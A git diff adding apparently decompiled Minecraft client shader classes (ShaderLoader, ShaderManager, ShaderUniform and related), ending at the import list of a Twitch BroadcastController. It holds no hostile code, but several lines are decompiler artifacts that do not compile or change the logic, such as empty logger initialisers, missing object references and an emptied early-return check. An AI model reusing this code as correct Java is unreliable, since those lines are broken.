+    while (var1.hasNext())
+    {
+      Shader var3 = (Shader)var1.next();
+      var3.deleteShader();
+    }
+    
+    listShaders.clear();
+  }
+  
+  public Shader addShader(String p_148023_1_, Framebuffer p_148023_2_, Framebuffer p_148023_3_) throws JsonException
+  {
+    Shader var4 = new Shader(resourceManager, p_148023_1_, p_148023_2_, p_148023_3_);
+    listShaders.add(listShaders.size(), var4);
+    return var4;
+  }
+  
+  private void resetProjectionMatrix()
+  {
+    projectionMatrix = new Matrix4f();
+    projectionMatrix.setIdentity();
+    projectionMatrix.m00 = (2.0F / mainFramebuffer.framebufferTextureWidth);
+    projectionMatrix.m11 = (2.0F / -mainFramebuffer.framebufferTextureHeight);
+    projectionMatrix.m22 = -0.0020001999F;
+    projectionMatrix.m33 = 1.0F;
+    projectionMatrix.m03 = -1.0F;
+    projectionMatrix.m13 = 1.0F;
+    projectionMatrix.m23 = -1.0001999F;
+  }
+  
+  public void createBindFramebuffers(int p_148026_1_, int p_148026_2_)
+  {
+    mainFramebufferWidth = mainFramebuffer.framebufferTextureWidth;
+    mainFramebufferHeight = mainFramebuffer.framebufferTextureHeight;
+    resetProjectionMatrix();
+    Iterator var3 = listShaders.iterator();
+    
+    while (var3.hasNext())
+    {
+      Shader var4 = (Shader)var3.next();
+      var4.setProjectionMatrix(projectionMatrix);
+    }
+    
+    var3 = listFramebuffers.iterator();
+    
+    while (var3.hasNext())
+    {
+      Framebuffer var5 = (Framebuffer)var3.next();
+      var5.createBindFramebuffer(p_148026_1_, p_148026_2_);
+    }
+  }
+  
+  public void loadShaderGroup(float p_148018_1_)
+  {
+    if (p_148018_1_ < field_148037_k)
+    {
+      field_148036_j += 1.0F - field_148037_k;
+      field_148036_j += p_148018_1_;
+    }
+    else
+    {
+      field_148036_j += p_148018_1_ - field_148037_k;
+    }
+    
+    for (field_148037_k = p_148018_1_; field_148036_j > 20.0F; field_148036_j -= 20.0F) {}
+    
+
+
+
+    Iterator var2 = listShaders.iterator();
+    
+    while (var2.hasNext())
+    {
+      Shader var3 = (Shader)var2.next();
+      var3.loadShader(field_148036_j / 20.0F);
+    }
+  }
+  
+  public final String getShaderGroupName()
+  {
+    return shaderGroupName;
+  }
+  
+  private Framebuffer getFramebuffer(String p_148017_1_)
+  {
+    return p_148017_1_.equals("minecraft:main") ? mainFramebuffer : p_148017_1_ == null ? null : (Framebuffer)mapFramebuffers.get(p_148017_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/shader/ShaderLinkHelper.java b/src/minecraft/net/minecraft/client/shader/ShaderLinkHelper.java
new file mode 100644
index 0000000..b81ae5b
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/shader/ShaderLinkHelper.java
@@ -0,0 +1,58 @@
+package net.minecraft.client.shader;
+
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.util.JsonException;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class ShaderLinkHelper
+{
+  private static final Logger logger = ;
+  private static ShaderLinkHelper staticShaderLinkHelper;
+  private static final String __OBFID = "CL_00001045";
+  
+  public ShaderLinkHelper() {}
+  
+  public static void setNewStaticShaderLinkHelper() { staticShaderLinkHelper = new ShaderLinkHelper(); }
+  
+
+  public static ShaderLinkHelper getStaticShaderLinkHelper()
+  {
+    return staticShaderLinkHelper;
+  }
+  
+  public void deleteShader(ShaderManager p_148077_1_)
+  {
+    p_148077_1_.getFragmentShaderLoader().deleteShader(p_148077_1_);
+    p_148077_1_.getVertexShaderLoader().deleteShader(p_148077_1_);
+    OpenGlHelper.glDeleteProgram(p_148077_1_.getProgram());
+  }
+  
+  public int createProgram() throws JsonException
+  {
+    int var1 = OpenGlHelper.glCreateProgram();
+    
+    if (var1 <= 0)
+    {
+      throw new JsonException("Could not create shader program (returned program ID " + var1 + ")");
+    }
+    
+
+    return var1;
+  }
+  
+
+  public void linkProgram(ShaderManager manager)
+  {
+    manager.getFragmentShaderLoader().attachShader(manager);
+    manager.getVertexShaderLoader().attachShader(manager);
+    OpenGlHelper.glLinkProgram(manager.getProgram());
+    int var2 = OpenGlHelper.glGetProgrami(manager.getProgram(), OpenGlHelper.GL_LINK_STATUS);
+    
+    if (var2 == 0)
+    {
+      logger.warn("Error encountered when linking program containing VS " + manager.getVertexShaderLoader().getShaderFilename() + " and FS " + manager.getFragmentShaderLoader().getShaderFilename() + ". Log output:");
+      logger.warn(OpenGlHelper.glGetProgramInfoLog(manager.getProgram(), 32768));
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/shader/ShaderLoader.java b/src/minecraft/net/minecraft/client/shader/ShaderLoader.java
new file mode 100644
index 0000000..9777d7a
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/shader/ShaderLoader.java
@@ -0,0 +1,139 @@
+package net.minecraft.client.shader;
+
+import com.google.common.collect.Maps;
+import java.io.BufferedInputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.Map;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.util.JsonException;
+import net.minecraft.util.ResourceLocation;
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+import org.lwjgl.BufferUtils;
+
+public class ShaderLoader
+{
+  private final ShaderType shaderType;
+  private final String shaderFilename;
+  private int shader;
+  private int shaderAttachCount = 0;
+  private static final String __OBFID = "CL_00001043";
+  
+  private ShaderLoader(ShaderType type, int shaderId, String filename)
+  {
+    shaderType = type;
+    shader = shaderId;
+    shaderFilename = filename;
+  }
+  
+  public void attachShader(ShaderManager manager)
+  {
+    shaderAttachCount += 1;
+    OpenGlHelper.glAttachShader(manager.getProgram(), shader);
+  }
+  
+  public void deleteShader(ShaderManager manager)
+  {
+    shaderAttachCount -= 1;
+    
+    if (shaderAttachCount <= 0)
+    {
+      OpenGlHelper.glDeleteShader(shader);
+      shaderType.getLoadedShaders().remove(shaderFilename);
+    }
+  }
+  
+  public String getShaderFilename()
+  {
+    return shaderFilename;
+  }
+  
+  public static ShaderLoader loadShader(IResourceManager resourceManager, ShaderType type, String filename) throws IOException
+  {
+    ShaderLoader var3 = (ShaderLoader)type.getLoadedShaders().get(filename);
+    
+    if (var3 == null)
+    {
+      ResourceLocation var4 = new ResourceLocation("shaders/program/" + filename + type.getShaderExtension());
+      BufferedInputStream var5 = new BufferedInputStream(resourceManager.getResource(var4).getInputStream());
+      byte[] var6 = func_177064_a(var5);
+      ByteBuffer var7 = BufferUtils.createByteBuffer(var6.length);
+      var7.put(var6);
+      var7.position(0);
+      int var8 = OpenGlHelper.glCreateShader(type.getShaderMode());
+      OpenGlHelper.glShaderSource(var8, var7);
+      OpenGlHelper.glCompileShader(var8);
+      
+      if (OpenGlHelper.glGetShaderi(var8, OpenGlHelper.GL_COMPILE_STATUS) == 0)
+      {
+        String var9 = StringUtils.trim(OpenGlHelper.glGetShaderInfoLog(var8, 32768));
+        JsonException var10 = new JsonException("Couldn't compile " + type.getShaderName() + " program: " + var9);
+        var10.func_151381_b(var4.getResourcePath());
+        throw var10;
+      }
+      
+      var3 = new ShaderLoader(type, var8, filename);
+      type.getLoadedShaders().put(filename, var3);
+    }
+    
+    return var3;
+  }
+  
+  protected static byte[] func_177064_a(BufferedInputStream p_177064_0_)
+    throws IOException
+  {
+    byte[] var1;
+    try
+    {
+      var1 = IOUtils.toByteArray(p_177064_0_);
+    }
+    finally {
+      byte[] var1;
+      p_177064_0_.close();
+    }
+    
+    return var1;
+  }
+  
+  public static enum ShaderType
+  {
+    VERTEX("VERTEX", 0, "vertex", ".vsh", OpenGlHelper.GL_VERTEX_SHADER), 
+    FRAGMENT("FRAGMENT", 1, "fragment", ".fsh", OpenGlHelper.GL_FRAGMENT_SHADER);
+    
+    private final String shaderName;
+    private final String shaderExtension;
+    private final int shaderMode; private final Map loadedShaders = Maps.newHashMap();
+    
+    private static final ShaderType[] $VALUES = { VERTEX, FRAGMENT };
+    private static final String __OBFID = "CL_00001044";
+    
+    private ShaderType(String p_i45090_1_, int p_i45090_2_, String p_i45090_3_, String p_i45090_4_, int p_i45090_5_)
+    {
+      shaderName = p_i45090_3_;
+      shaderExtension = p_i45090_4_;
+      shaderMode = p_i45090_5_;
+    }
+    
+    public String getShaderName()
+    {
+      return shaderName;
+    }
+    
+    protected String getShaderExtension()
+    {
+      return shaderExtension;
+    }
+    
+    protected int getShaderMode()
+    {
+      return shaderMode;
+    }
+    
+    protected Map getLoadedShaders()
+    {
+      return loadedShaders;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/shader/ShaderManager.java b/src/minecraft/net/minecraft/client/shader/ShaderManager.java
new file mode 100644
index 0000000..a644824
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/shader/ShaderManager.java
@@ -0,0 +1,435 @@
+package net.minecraft.client.shader;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.gson.JsonArray;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParser;
+import java.io.InputStream;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.texture.ITextureObject;
+import net.minecraft.client.resources.IResource;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.util.JsonBlendingMode;
+import net.minecraft.client.util.JsonException;
+import net.minecraft.util.JsonUtils;
+import net.minecraft.util.ResourceLocation;
+import org.apache.commons.io.IOUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class ShaderManager
+{
+  private static final Logger logger = ;
+  private static final ShaderDefault defaultShaderUniform = new ShaderDefault();
+  private static ShaderManager staticShaderManager = null;
+  private static int currentProgram = -1;
+  private static boolean field_148000_e = true;
+  
+
+  private final Map shaderSamplers = Maps.newHashMap();
+  private final List samplerNames = Lists.newArrayList();
+  private final List shaderSamplerLocations = Lists.newArrayList();
+  private final List shaderUniforms = Lists.newArrayList();
+  private final List shaderUniformLocations = Lists.newArrayList();
+  private final Map mappedShaderUniforms = Maps.newHashMap();
+  private final int program;
+  private final String programFilename;
+  private final boolean useFaceCulling;
+  private boolean isDirty;
+  private final JsonBlendingMode field_148016_p;
+  private final List field_148015_q;
+  private final List field_148014_r;
+  private final ShaderLoader vertexShaderLoader;
+  private final ShaderLoader fragmentShaderLoader;
+  private static final String __OBFID = "CL_00001040";
+  
+  public ShaderManager(IResourceManager resourceManager, String programName) throws JsonException
+  {
+    JsonParser var3 = new JsonParser();
+    ResourceLocation var4 = new ResourceLocation("shaders/program/" + programName + ".json");
+    programFilename = programName;
+    InputStream var5 = null;
+    
+    try
+    {
+      var5 = resourceManager.getResource(var4).getInputStream();
+      JsonObject var6 = var3.parse(IOUtils.toString(var5, com.google.common.base.Charsets.UTF_8)).getAsJsonObject();
+      String var7 = JsonUtils.getJsonObjectStringFieldValue(var6, "vertex");
+      String var28 = JsonUtils.getJsonObjectStringFieldValue(var6, "fragment");
+      JsonArray var9 = JsonUtils.getJsonObjectJsonArrayFieldOrDefault(var6, "samplers", null);
+      
+      if (var9 != null)
+      {
+        int var10 = 0;
+        
+        for (Iterator var11 = var9.iterator(); var11.hasNext(); var10++)
+        {
+          JsonElement var12 = (JsonElement)var11.next();
+          
+          try
+          {
+            parseSampler(var12);
+          }
+          catch (Exception var25)
+          {
+            JsonException var14 = JsonException.func_151379_a(var25);
+            var14.func_151380_a("samplers[" + var10 + "]");
+            throw var14;
+          }
+        }
+      }
+      
+      JsonArray var29 = JsonUtils.getJsonObjectJsonArrayFieldOrDefault(var6, "attributes", null);
+      
+
+      if (var29 != null)
+      {
+        int var30 = 0;
+        field_148015_q = Lists.newArrayListWithCapacity(var29.size());
+        field_148014_r = Lists.newArrayListWithCapacity(var29.size());
+        
+        for (Iterator var32 = var29.iterator(); var32.hasNext(); var30++)
+        {
+          JsonElement var13 = (JsonElement)var32.next();
+          
+          try
+          {
+            field_148014_r.add(JsonUtils.getJsonElementStringValue(var13, "attribute"));
+          }
+          catch (Exception var24)
+          {
+            JsonException var15 = JsonException.func_151379_a(var24);
+            var15.func_151380_a("attributes[" + var30 + "]");
+            throw var15;
+          }
+        }
+      }
+      else
+      {
+        field_148015_q = null;
+        field_148014_r = null;
+      }
+      
+      JsonArray var31 = JsonUtils.getJsonObjectJsonArrayFieldOrDefault(var6, "uniforms", null);
+      
+      if (var31 != null)
+      {
+        int var33 = 0;
+        
+        for (Iterator var34 = var31.iterator(); var34.hasNext(); var33++)
+        {
+          JsonElement var36 = (JsonElement)var34.next();
+          
+          try
+          {
+            parseUniform(var36);
+          }
+          catch (Exception var23)
+          {
+            JsonException var16 = JsonException.func_151379_a(var23);
+            var16.func_151380_a("uniforms[" + var33 + "]");
+            throw var16;
+          }
+        }
+      }
+      
+      field_148016_p = JsonBlendingMode.func_148110_a(JsonUtils.getJsonObjectFieldOrDefault(var6, "blend", null));
+      useFaceCulling = JsonUtils.getJsonObjectBooleanFieldValueOrDefault(var6, "cull", true);
+      vertexShaderLoader = ShaderLoader.loadShader(resourceManager, ShaderLoader.ShaderType.VERTEX, var7);
+      fragmentShaderLoader = ShaderLoader.loadShader(resourceManager, ShaderLoader.ShaderType.FRAGMENT, var28);
+      program = ShaderLinkHelper.getStaticShaderLinkHelper().createProgram();
+      ShaderLinkHelper.getStaticShaderLinkHelper().linkProgram(this);
+      setupUniforms();
+      
+      if (field_148014_r != null)
+      {
+        Iterator var32 = field_148014_r.iterator();
+        
+        while (var32.hasNext())
+        {
+          String var35 = (String)var32.next();
+          int var37 = OpenGlHelper.glGetAttribLocation(program, var35);
+          field_148015_q.add(Integer.valueOf(var37));
+        }
+      }
+    }
+    catch (Exception var26)
+    {
+      JsonException var8 = JsonException.func_151379_a(var26);
+      var8.func_151381_b(var4.getResourcePath());
+      throw var8;
+    }
+    finally
+    {
+      IOUtils.closeQuietly(var5);
+    }
+    
+    markDirty();
+  }
+  
+  public void deleteShader()
+  {
+    ShaderLinkHelper.getStaticShaderLinkHelper().deleteShader(this);
+  }
+  
+  public void endShader()
+  {
+    OpenGlHelper.glUseProgram(0);
+    currentProgram = -1;
+    staticShaderManager = null;
+    field_148000_e = true;
+    
+    for (int var1 = 0; var1 < shaderSamplerLocations.size(); var1++)
+    {
+      if (shaderSamplers.get(samplerNames.get(var1)) != null)
+      {
+        GlStateManager.setActiveTexture(OpenGlHelper.defaultTexUnit + var1);
+        GlStateManager.func_179144_i(0);
+      }
+    }
+  }
+  
+  public void useShader()
+  {
+    isDirty = false;
+    staticShaderManager = this;
+    field_148016_p.func_148109_a();
+    
+    if (program != currentProgram)
+    {
+      OpenGlHelper.glUseProgram(program);
+      currentProgram = program;
+    }
+    
+    if (useFaceCulling)
+    {
+      GlStateManager.enableCull();
+    }
+    else
+    {
+      GlStateManager.disableCull();
+    }
+    
+    for (int var1 = 0; var1 < shaderSamplerLocations.size(); var1++)
+    {
+      if (shaderSamplers.get(samplerNames.get(var1)) != null)
+      {
+        GlStateManager.setActiveTexture(OpenGlHelper.defaultTexUnit + var1);
+        GlStateManager.func_179098_w();
+        Object var2 = shaderSamplers.get(samplerNames.get(var1));
+        int var3 = -1;
+        
+        if ((var2 instanceof Framebuffer))
+        {
+          var3 = framebufferTexture;
+        }
+        else if ((var2 instanceof ITextureObject))
+        {
+          var3 = ((ITextureObject)var2).getGlTextureId();
+        }
+        else if ((var2 instanceof Integer))
+        {
+          var3 = ((Integer)var2).intValue();
+        }
+        
+        if (var3 != -1)
+        {
+          GlStateManager.func_179144_i(var3);
+          OpenGlHelper.glUniform1i(OpenGlHelper.glGetUniformLocation(program, (CharSequence)samplerNames.get(var1)), var1);
+        }
+      }
+    }
+    
+    Iterator var4 = shaderUniforms.iterator();
+    
+    while (var4.hasNext())
+    {
+      ShaderUniform var5 = (ShaderUniform)var4.next();
+      var5.upload();
+    }
+  }
+  
+  public void markDirty()
+  {
+    isDirty = true;
+  }
+  
+
+
+
+  public ShaderUniform getShaderUniform(String p_147991_1_)
+  {
+    return mappedShaderUniforms.containsKey(p_147991_1_) ? (ShaderUniform)mappedShaderUniforms.get(p_147991_1_) : null;
+  }
+  
+
+
+
+  public ShaderUniform getShaderUniformOrDefault(String p_147984_1_)
+  {
+    return mappedShaderUniforms.containsKey(p_147984_1_) ? (ShaderUniform)mappedShaderUniforms.get(p_147984_1_) : defaultShaderUniform;
+  }
+  
+
+
+
+  private void setupUniforms()
+  {
+    int var1 = 0;
+    
+
+
+    for (int var2 = 0; var1 < samplerNames.size(); var2++)
+    {
+      String var3 = (String)samplerNames.get(var1);
+      int var4 = OpenGlHelper.glGetUniformLocation(program, var3);
+      
+      if (var4 == -1)
+      {
+        logger.warn("Shader " + programFilename + "could not find sampler named " + var3 + " in the specified shader program.");
+        shaderSamplers.remove(var3);
+        samplerNames.remove(var2);
+        var2--;
+      }
+      else
+      {
+        shaderSamplerLocations.add(Integer.valueOf(var4));
+      }
+      
+      var1++;
+    }
+    
+    Iterator var5 = shaderUniforms.iterator();
+    
+    while (var5.hasNext())
+    {
+      ShaderUniform var6 = (ShaderUniform)var5.next();
+      String var3 = var6.getShaderName();
+      int var4 = OpenGlHelper.glGetUniformLocation(program, var3);
+      
+      if (var4 == -1)
+      {
+        logger.warn("Could not find uniform named " + var3 + " in the specified" + " shader program.");
+      }
+      else
+      {
+        shaderUniformLocations.add(Integer.valueOf(var4));
+        var6.setUniformLocation(var4);
+        mappedShaderUniforms.put(var3, var6);
+      }
+    }
+  }
+  
+  private void parseSampler(JsonElement p_147996_1_)
+  {
+    JsonObject var2 = JsonUtils.getElementAsJsonObject(p_147996_1_, "sampler");
+    String var3 = JsonUtils.getJsonObjectStringFieldValue(var2, "name");
+    
+    if (!JsonUtils.jsonObjectFieldTypeIsString(var2, "file"))
+    {
+      shaderSamplers.put(var3, null);
+      samplerNames.add(var3);
+    }
+    else
+    {
+      samplerNames.add(var3);
+    }
+  }
+  
+
+
+
+  public void addSamplerTexture(String p_147992_1_, Object p_147992_2_)
+  {
+    if (shaderSamplers.containsKey(p_147992_1_))
+    {
+      shaderSamplers.remove(p_147992_1_);
+    }
+    
+    shaderSamplers.put(p_147992_1_, p_147992_2_);
+    markDirty();
+  }
+  
+  private void parseUniform(JsonElement p_147987_1_) throws JsonException
+  {
+    JsonObject var2 = JsonUtils.getElementAsJsonObject(p_147987_1_, "uniform");
+    String var3 = JsonUtils.getJsonObjectStringFieldValue(var2, "name");
+    int var4 = ShaderUniform.parseType(JsonUtils.getJsonObjectStringFieldValue(var2, "type"));
+    int var5 = JsonUtils.getJsonObjectIntegerFieldValue(var2, "count");
+    float[] var6 = new float[Math.max(var5, 16)];
+    JsonArray var7 = JsonUtils.getJsonObjectJsonArrayField(var2, "values");
+    
+    if ((var7.size() != var5) && (var7.size() > 1))
+    {
+      throw new JsonException("Invalid amount of values specified (expected " + var5 + ", found " + var7.size() + ")");
+    }
+    
+
+    int var8 = 0;
+    
+    for (Iterator var9 = var7.iterator(); var9.hasNext(); var8++)
+    {
+      JsonElement var10 = (JsonElement)var9.next();
+      
+      try
+      {
+        var6[var8] = JsonUtils.getJsonElementFloatValue(var10, "value");
+      }
+      catch (Exception var13)
+      {
+        JsonException var12 = JsonException.func_151379_a(var13);
+        var12.func_151380_a("values[" + var8 + "]");
+        throw var12;
+      }
+    }
+    
+    if ((var5 > 1) && (var7.size() == 1))
+    {
+      while (var8 < var5)
+      {
+        var6[var8] = var6[0];
+        var8++;
+      }
+    }
+    
+    int var14 = (var5 > 1) && (var5 <= 4) && (var4 < 8) ? var5 - 1 : 0;
+    ShaderUniform var15 = new ShaderUniform(var3, var4 + var14, var5, this);
+    
+    if (var4 <= 3)
+    {
+      var15.set((int)var6[0], (int)var6[1], (int)var6[2], (int)var6[3]);
+    }
+    else if (var4 <= 7)
+    {
+      var15.func_148092_b(var6[0], var6[1], var6[2], var6[3]);
+    }
+    else
+    {
+      var15.set(var6);
+    }
+    
+    shaderUniforms.add(var15);
+  }
+  
+
+  public ShaderLoader getVertexShaderLoader()
+  {
+    return vertexShaderLoader;
+  }
+  
+  public ShaderLoader getFragmentShaderLoader()
+  {
+    return fragmentShaderLoader;
+  }
+  
+  public int getProgram()
+  {
+    return program;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/shader/ShaderUniform.java b/src/minecraft/net/minecraft/client/shader/ShaderUniform.java
new file mode 100644
index 0000000..13e69bf
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/shader/ShaderUniform.java
@@ -0,0 +1,323 @@
+package net.minecraft.client.shader;
+
+import java.nio.FloatBuffer;
+import java.nio.IntBuffer;
+import javax.vecmath.Matrix4f;
+import net.minecraft.client.renderer.OpenGlHelper;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.BufferUtils;
+
+public class ShaderUniform
+{
+  private static final Logger logger = ;
+  private int uniformLocation;
+  private final int uniformCount;
+  private final int uniformType;
+  private final IntBuffer uniformIntBuffer;
+  private final FloatBuffer uniformFloatBuffer;
+  private final String shaderName;
+  private boolean field_148105_h;
+  private final ShaderManager shaderManager;
+  private static final String __OBFID = "CL_00001046";
+  
+  public ShaderUniform(String name, int type, int count, ShaderManager manager)
+  {
+    shaderName = name;
+    uniformCount = count;
+    uniformType = type;
+    shaderManager = manager;
+    
+    if (type <= 3)
+    {
+      uniformIntBuffer = BufferUtils.createIntBuffer(count);
+      uniformFloatBuffer = null;
+    }
+    else
+    {
+      uniformIntBuffer = null;
+      uniformFloatBuffer = BufferUtils.createFloatBuffer(count);
+    }
+    
+    uniformLocation = -1;
+    markDirty();
+  }
+  
+  private void markDirty()
+  {
+    field_148105_h = true;
+    
+    if (shaderManager != null)
+    {
+      shaderManager.markDirty();
+    }
+  }
+  
+  public static int parseType(String p_148085_0_)
+  {
+    byte var1 = -1;
+    
+    if (p_148085_0_.equals("int"))
+    {
+      var1 = 0;
+    }
+    else if (p_148085_0_.equals("float"))
+    {
+      var1 = 4;
+    }
+    else if (p_148085_0_.startsWith("matrix"))
+    {
+      if (p_148085_0_.endsWith("2x2"))
+      {
+        var1 = 8;
+      }
+      else if (p_148085_0_.endsWith("3x3"))
+      {
+        var1 = 9;
+      }
+      else if (p_148085_0_.endsWith("4x4"))
+      {
+        var1 = 10;
+      }
+    }
+    
+    return var1;
+  }
+  
+  public void setUniformLocation(int p_148084_1_)
+  {
+    uniformLocation = p_148084_1_;
+  }
+  
+  public String getShaderName()
+  {
+    return shaderName;
+  }
+  
+  public void set(float p_148090_1_)
+  {
+    uniformFloatBuffer.position(0);
+    uniformFloatBuffer.put(0, p_148090_1_);
+    markDirty();
+  }
+  
+  public void set(float p_148087_1_, float p_148087_2_)
+  {
+    uniformFloatBuffer.position(0);
+    uniformFloatBuffer.put(0, p_148087_1_);
+    uniformFloatBuffer.put(1, p_148087_2_);
+    markDirty();
+  }
+  
+  public void set(float p_148095_1_, float p_148095_2_, float p_148095_3_)
+  {
+    uniformFloatBuffer.position(0);
+    uniformFloatBuffer.put(0, p_148095_1_);
+    uniformFloatBuffer.put(1, p_148095_2_);
+    uniformFloatBuffer.put(2, p_148095_3_);
+    markDirty();
+  }
+  
+  public void set(float p_148081_1_, float p_148081_2_, float p_148081_3_, float p_148081_4_)
+  {
+    uniformFloatBuffer.position(0);
+    uniformFloatBuffer.put(p_148081_1_);
+    uniformFloatBuffer.put(p_148081_2_);
+    uniformFloatBuffer.put(p_148081_3_);
+    uniformFloatBuffer.put(p_148081_4_);
+    uniformFloatBuffer.flip();
+    markDirty();
+  }
+  
+  public void func_148092_b(float p_148092_1_, float p_148092_2_, float p_148092_3_, float p_148092_4_)
+  {
+    uniformFloatBuffer.position(0);
+    
+    if (uniformType >= 4)
+    {
+      uniformFloatBuffer.put(0, p_148092_1_);
+    }
+    
+    if (uniformType >= 5)
+    {
+      uniformFloatBuffer.put(1, p_148092_2_);
+    }
+    
+    if (uniformType >= 6)
+    {
+      uniformFloatBuffer.put(2, p_148092_3_);
+    }
+    
+    if (uniformType >= 7)
+    {
+      uniformFloatBuffer.put(3, p_148092_4_);
+    }
+    
+    markDirty();
+  }
+  
+  public void set(int p_148083_1_, int p_148083_2_, int p_148083_3_, int p_148083_4_)
+  {
+    uniformIntBuffer.position(0);
+    
+    if (uniformType >= 0)
+    {
+      uniformIntBuffer.put(0, p_148083_1_);
+    }
+    
+    if (uniformType >= 1)
+    {
+      uniformIntBuffer.put(1, p_148083_2_);
+    }
+    
+    if (uniformType >= 2)
+    {
+      uniformIntBuffer.put(2, p_148083_3_);
+    }
+    
+    if (uniformType >= 3)
+    {
+      uniformIntBuffer.put(3, p_148083_4_);
+    }
+    
+    markDirty();
+  }
+  
+  public void set(float[] p_148097_1_)
+  {
+    if (p_148097_1_.length < uniformCount)
+    {
+      logger.warn("Uniform.set called with a too-small value array (expected " + uniformCount + ", got " + p_148097_1_.length + "). Ignoring.");
+    }
+    else
+    {
+      uniformFloatBuffer.position(0);
+      uniformFloatBuffer.put(p_148097_1_);
+      uniformFloatBuffer.position(0);
+      markDirty();
+    }
+  }
+  
+  public void set(float p_148094_1_, float p_148094_2_, float p_148094_3_, float p_148094_4_, float p_148094_5_, float p_148094_6_, float p_148094_7_, float p_148094_8_, float p_148094_9_, float p_148094_10_, float p_148094_11_, float p_148094_12_, float p_148094_13_, float p_148094_14_, float p_148094_15_, float p_148094_16_)
+  {
+    uniformFloatBuffer.position(0);
+    uniformFloatBuffer.put(0, p_148094_1_);
+    uniformFloatBuffer.put(1, p_148094_2_);
+    uniformFloatBuffer.put(2, p_148094_3_);
+    uniformFloatBuffer.put(3, p_148094_4_);
+    uniformFloatBuffer.put(4, p_148094_5_);
+    uniformFloatBuffer.put(5, p_148094_6_);
+    uniformFloatBuffer.put(6, p_148094_7_);
+    uniformFloatBuffer.put(7, p_148094_8_);
+    uniformFloatBuffer.put(8, p_148094_9_);
+    uniformFloatBuffer.put(9, p_148094_10_);
+    uniformFloatBuffer.put(10, p_148094_11_);
+    uniformFloatBuffer.put(11, p_148094_12_);
+    uniformFloatBuffer.put(12, p_148094_13_);
+    uniformFloatBuffer.put(13, p_148094_14_);
+    uniformFloatBuffer.put(14, p_148094_15_);
+    uniformFloatBuffer.put(15, p_148094_16_);
+    markDirty();
+  }
+  
+  public void set(Matrix4f p_148088_1_)
+  {
+    set(m00, m01, m02, m03, m10, m11, m12, m13, m20, m21, m22, m23, m30, m31, m32, m33);
+  }
+  
+  public void upload()
+  {
+    if (!field_148105_h) {}
+    
+
+
+
+    field_148105_h = false;
+    
+    if (uniformType <= 3)
+    {
+      uploadInt();
+    }
+    else if (uniformType <= 7)
+    {
+      uploadFloat();
+    }
+    else
+    {
+      if (uniformType > 10)
+      {
+        logger.warn("Uniform.upload called, but type value (" + uniformType + ") is not " + "a valid type. Ignoring.");
+        return;
+      }
+      
+      uploadFloatMatrix();
+    }
+  }
+  
+  private void uploadInt()
+  {
+    switch (uniformType)
+    {
+    case 0: 
+      OpenGlHelper.glUniform1(uniformLocation, uniformIntBuffer);
+      break;
+    
+    case 1: 
+      OpenGlHelper.glUniform2(uniformLocation, uniformIntBuffer);
+      break;
+    
+    case 2: 
+      OpenGlHelper.glUniform3(uniformLocation, uniformIntBuffer);
+      break;
+    
+    case 3: 
+      OpenGlHelper.glUniform4(uniformLocation, uniformIntBuffer);
+      break;
+    
+    default: 
+      logger.warn("Uniform.upload called, but count value (" + uniformCount + ") is " + " not in the range of 1 to 4. Ignoring.");
+    }
+  }
+  
+  private void uploadFloat()
+  {
+    switch (uniformType)
+    {
+    case 4: 
+      OpenGlHelper.glUniform1(uniformLocation, uniformFloatBuffer);
+      break;
+    
+    case 5: 
+      OpenGlHelper.glUniform2(uniformLocation, uniformFloatBuffer);
+      break;
+    
+    case 6: 
+      OpenGlHelper.glUniform3(uniformLocation, uniformFloatBuffer);
+      break;
+    
+    case 7: 
+      OpenGlHelper.glUniform4(uniformLocation, uniformFloatBuffer);
+      break;
+    
+    default: 
+      logger.warn("Uniform.upload called, but count value (" + uniformCount + ") is " + "not in the range of 1 to 4. Ignoring.");
+    }
+  }
+  
+  private void uploadFloatMatrix()
+  {
+    switch (uniformType)
+    {
+    case 8: 
+      OpenGlHelper.glUniformMatrix2(uniformLocation, true, uniformFloatBuffer);
+      break;
+    
+    case 9: 
+      OpenGlHelper.glUniformMatrix3(uniformLocation, true, uniformFloatBuffer);
+      break;
+    
+    case 10: 
+      OpenGlHelper.glUniformMatrix4(uniformLocation, true, uniformFloatBuffer);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/stream/BroadcastController.java b/src/minecraft/net/minecraft/client/stream/BroadcastController.java
new file mode 100644
index 0000000..e82c20f
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/stream/BroadcastController.java
@@ -0,0 +1,1303 @@
+package net.minecraft.client.stream;
+
+import com.google.common.collect.Lists;
+import java.util.Arrays;
+import java.util.List;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.util.ReportedException;
+import net.minecraft.util.ThreadSafeBoundList;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import tv.twitch.AuthToken;
+import tv.twitch.Core;
+import tv.twitch.ErrorCode;
+import tv.twitch.MessageLevel;
+import tv.twitch.StandardCoreAPI;
+import tv.twitch.broadcast.ArchivingState;
+import tv.twitch.broadcast.AudioDeviceType;
+import tv.twitch.broadcast.AudioParams;
+import tv.twitch.broadcast.ChannelInfo;
+import tv.twitch.broadcast.DesktopStreamAPI;
+import tv.twitch.broadcast.EncodingCpuUsage;
